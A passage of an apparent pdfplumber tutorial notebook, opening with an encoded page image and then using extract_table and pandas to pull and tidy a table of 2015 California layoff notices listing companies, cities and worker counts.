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\n", "text/plain": [ "<pdfplumber.display.PageImage at 0x112b41610>" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "im = p0.to_image()\n", "im" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Use `.extract_table` to get the data from the largest table on the page" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:49.332476Z", "iopub.status.busy": "2022-05-31T19:47:49.332141Z", "iopub.status.idle": "2022-05-31T19:47:49.818826Z", "shell.execute_reply": "2022-05-31T19:47:49.817658Z" } }, "outputs": [], "source": [ "table = p0.extract_table()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "`.extract_table` returns a list of lists, with each inner list representing a row in the table. Here are the first three rows:" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:49.823177Z", "iopub.status.busy": "2022-05-31T19:47:49.822838Z", "iopub.status.idle": "2022-05-31T19:47:49.828917Z", "shell.execute_reply": "2022-05-31T19:47:49.828255Z" } }, "outputs": [ { "data": { "text/plain": [ "[['Notice Date',\n", " 'Effective',\n", " 'Received',\n", " 'Company',\n", " 'City',\n", " 'No. Of',\n", " 'Layoff/Closure'],\n", " ['06/22/2015',\n", " '0 3 / 2 5 / 2 0 16',\n", " '0 7 / 0 1 / 2 0 15',\n", " 'Maxim Integrated Product',\n", " 'San Jose',\n", " '150',\n", " 'Closure Permanent'],\n", " ['06/30/2015',\n", " '0 8 / 2 9 / 2 0 15',\n", " '0 7 / 0 1 / 2 0 15',\n", " 'McGraw-Hill Education',\n", " 'Monterey',\n", " '137',\n", " 'Layoff Unknown at this time']]" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "table[:3]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Basic cleanup\n", "\n", "We can use `pandas` to render the list as a DataFrame, and to remove the extra spaces within some of the dates." ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:49.834885Z", "iopub.status.busy": "2022-05-31T19:47:49.834289Z", "iopub.status.idle": "2022-05-31T19:47:51.255314Z", "shell.execute_reply": "2022-05-31T19:47:51.253952Z" } }, "outputs": [], "source": [ "import pandas as pd" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:51.260404Z", "iopub.status.busy": "2022-05-31T19:47:51.259774Z", "iopub.status.idle": "2022-05-31T19:47:51.266527Z", "shell.execute_reply": "2022-05-31T19:47:51.265789Z" } }, "outputs": [], "source": [ "df = pd.DataFrame(table[1:], columns=table[0])\n", "for column in [\"Effective\", \"Received\"]:\n", " df[column] = df[column].str.replace(\" \", \"\")" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:51.270441Z", "iopub.status.busy": "2022-05-31T19:47:51.270102Z", "iopub.status.idle": "2022-05-31T19:47:51.286836Z", "shell.execute_reply": "2022-05-31T19:47:51.286068Z" } }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Notice Date</th>\n", " <th>Effective</th>\n", " <th>Received</th>\n", " <th>Company</th>\n", " <th>City</th>\n", " <th>No. Of</th>\n", " <th>Layoff/Closure</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>06/22/2015</td>\n", " <td>03/25/2016</td>\n", " <td>07/01/2015</td>\n", " <td>Maxim Integrated Product</td>\n", " <td>San Jose</td>\n", " <td>150</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>06/30/2015</td>\n", " <td>08/29/2015</td>\n", " <td>07/01/2015</td>\n", " <td>McGraw-Hill Education</td>\n", " <td>Monterey</td>\n", " <td>137</td>\n", " <td>Layoff Unknown at this time</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>06/30/2015</td>\n", " <td>08/30/2015</td>\n", " <td>07/01/2015</td>\n", " <td>Long Beach Memorial Medical Center</td>\n", " <td>Long Beach</td>\n", " <td>90</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>07/01/2015</td>\n", " <td>09/02/2015</td>\n", " <td>07/01/2015</td>\n", " <td>Leidos</td>\n", " <td>El Segundo</td>\n", " <td>72</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>07/01/2015</td>\n", " <td>09/30/2016</td>\n", " <td>07/01/2015</td>\n", " <td>Bosch Healthcare Systems, Inc.</td>\n", " <td>Palo Alto</td>\n", " <td>55</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td>06/29/2015</td>\n", " <td>09/01/2015</td>\n", " <td>07/02/2015</td>\n", " <td>Encompass Digital Media, Inc.</td>\n", " <td>Los Angeles</td>\n", " <td>41</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td>07/02/2015</td>\n", " <td>07/06/2015</td>\n", " <td>07/02/2015</td>\n", " <td>Alphatec Spine</td>\n", " <td>Carlsbad</td>\n", " <td>99</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td>06/30/2015</td>\n", " <td>08/07/2015</td>\n", " <td>07/06/2015</td>\n", " <td>Symantec Corporation</td>\n", " <td>Mountain View</td>\n", " <td>60</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td>06/30/2015</td>\n", " <td>08/31/2015</td>\n", " <td>07/06/2015</td>\n", " <td>Fusion Contacts Centers, LLC</td>\n", " <td>Santa Maria</td>\n", " <td>50</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td>06/30/2015</td>\n", " <td>09/15/2015</td>\n", " <td>07/06/2015</td>\n", " <td>KLA-Tencor Corporation</td>\n", " <td>Milpitas</td>\n", " <td>213</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td>07/01/2015</td>\n", " <td>09/04/2015</td>\n", " <td>07/06/2015</td>\n", " <td>Southern California Edison Company</td>\n", " <td>San Clemente</td>\n", " <td>100</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td>07/02/2015</td>\n", " <td>09/01/2015</td>\n", " <td>07/06/2015</td>\n", " <td>State Fish Company, Inc.</td>\n", " <td>Wilmington</td>\n", " <td>76</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td>07/02/2015</td>\n", " <td>09/04/2015</td>\n", " <td>07/06/2015</td>\n", " <td>Boeing Company</td>\n", " <td>Long Beach</td>\n", " <td>56</td>\n", " <td>Layoff Unknown at this time</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td>07/06/2015</td>\n", " <td>09/04/2015</td>\n", " <td>07/06/2015</td>\n", " <td>Bridgepoint Education, Inc.</td>\n", " <td>San Diego</td>\n", " <td>7</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td>07/06/2015</td>\n", " <td>09/04/2015</td>\n", " <td>07/06/2015</td>\n", " <td>Bridgepoint Education, Inc.</td>\n", " <td>San Diego</td>\n", " <td>15</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td>07/01/2015</td>\n", " <td>06/29/2015</td>\n", " <td>07/07/2015</td>\n", " <td>BAE Systems</td>\n", " <td>San Francisco</td>\n", " <td>4</td>\n", " <td>Layoff Temporary</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td>07/01/2015</td>\n", " <td>06/29/2015</td>\n", " <td>07/07/2015</td>\n", " <td>BAE Systems</td>\n", " <td>San Francisco</td>\n", " <td>78</td>\n", " <td>Layoff Temporary</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td>07/01/2015</td>\n", " <td>09/07/2015</td>\n", " <td>07/07/2015</td>\n", " <td>Bay Bread LLC dba Bakery Los Angeles</td>\n", " <td>San Fernando</td>\n", " <td>50</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td>07/01/2015</td>\n", " <td>09/25/2015</td>\n", " <td>07/07/2015</td>\n", " <td>Bay Bread LLC dba New French Bakery</td>\n", " <td>South San</td>\n", " <td>121</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td>07/02/2015</td>\n", " <td>06/12/2015</td>\n", " <td>07/07/2015</td>\n", " <td>Hewlett-Packard Company</td>\n", " <td>Palo Alto</td>\n", " <td>65</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td>07/08/2015</td>\n", " <td>09/06/2015</td>\n", " <td>07/08/2015</td>\n", " <td>Microsoft Corporation</td>\n", " <td>San Diego</td>\n", " <td>129</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td>06/25/2015</td>\n", " <td>10/09/2015</td>\n", " <td>07/10/2015</td>\n", " <td>Aramark Healthcare Support Services,</td>\n", " <td>Culver City</td>\n", " <td>53</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td>07/01/2015</td>\n", " <td>09/10/2015</td>\n", " <td>07/10/2015</td>\n", " <td>Maxim Integrated Product</td>\n", " <td>San Jose</td>\n", " <td>20</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td>07/06/2015</td>\n", " <td>09/04/2015</td>\n", " <td>07/10/2015</td>\n", " <td>ProCourier, Inc.</td>\n", " <td>San Diego</td>\n", " <td>22</td>\n", " <td>Layoff Unknown at this time</td>\n", " </tr>\n", " <tr>\n", " <th>24</th>\n", " <td>07/06/2015</td>\n", " <td>09/04/2015</td>\n", " <td>07/10/2015</td>\n", " <td>ProCourier, Inc.</td>\n", " <td>Los Angeles</td>\n", " <td>71</td>\n", " <td>Layoff Unknown at this time</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td>07/07/2015</td>\n", " <td>09/04/2015</td>\n", " <td>07/10/2015</td>\n", " <td>ProCourier, Inc.</td>\n", " <td>Irvine</td>\n", " <td>22</td>\n", " <td>Layoff Unknown at this time</td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td>07/09/2015</td>\n", " <td>07/22/2015</td>\n", " <td>07/10/2015</td>\n", " <td>Berkeley Pyramid Alehouse</td>\n", " <td>Berkeley</td>\n", " <td>63</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td>07/09/2015</td>\n", " <td>09/14/2015</td>\n", " <td>07/10/2015</td>\n", " <td>Fireman's Fund Insurance Company</td>\n", " <td>Novato</td>\n", " 